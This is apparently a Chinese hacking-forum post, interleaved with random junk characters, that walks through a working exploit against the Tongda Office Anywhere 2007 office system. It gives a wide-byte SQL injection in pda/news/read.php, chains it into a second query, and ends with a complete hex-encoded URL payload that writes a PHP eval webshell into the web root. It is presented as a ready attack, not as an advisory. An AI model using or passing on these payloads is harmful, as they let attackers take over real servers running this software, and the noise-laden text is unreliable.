目前测试通达OA2007版本
3 A( K; ~+ V: K! R! t/ ^ B% h
, g( \* T3 _- Z# a: u3 k) E: t ; H, o! h) U* Q$ {- J
Office Anywhere 2007 网络智能办公系统
6 r: f a2 x) B
g6 Q; v: i3 H. \8 ]3 I+ Shttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
4 r" T6 F7 \" M" d1 ^1 t$ x% P9 [
' a, L& f0 A, @7 X1 C) o7 }, }/ A
# D) _/ m9 n3 s9 s* o9 N* `这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的
+ D: I" K& O- v6 ^0 _) y 4 R- v: B+ G; U+ I) @
例如:SELECT * from USER where USER_ID='{$USERNAME}'
+ h- R9 Z) d8 j$ Z+ [2 E# h" }! i0 z其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了: J D7 h# s# r- Y
" J$ e8 |( X% p4 l: D
这个时候我们是不是可以组合起来使用哪?; j2 k% b1 u+ b
+ d+ O! [ v; o
第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样3 e# |' ~1 E* x: p6 q2 P6 T4 Y# i1 g
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10# a/ y8 K- F4 q7 v
( i8 J6 _2 Q/ S8 L这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
/ W) ?" d1 x( o$ F0 r# Y' Q
$ E0 H; C9 |: u, P* z4 R& X) B; {. b那么问题来了,单引号可以吗?当然是不可以的,^_^。。。
) ^4 N5 R' E5 b; v8 r8 n( y 7 k6 ^6 U2 A) @4 w. k; {
那么我们用字符串格式带入进行hex编码0 r; S9 ?! b8 ], ~6 D7 v5 I
9 N3 m: p2 C# }( s1 q2 M* p4 G; B%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
- x" _4 b3 R3 @
; ~$ m/ G; E3 y$ K l' E' b0 ?9 d- C测试ok,获取oa的webshell
; N: @. L, W9 c K) h j: q S! w8 ~0 y# j6 s1 E
# Q$ I8 @) M1 ] {' Tpda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23, o& ^1 S5 U1 _! p
直接getwebshell |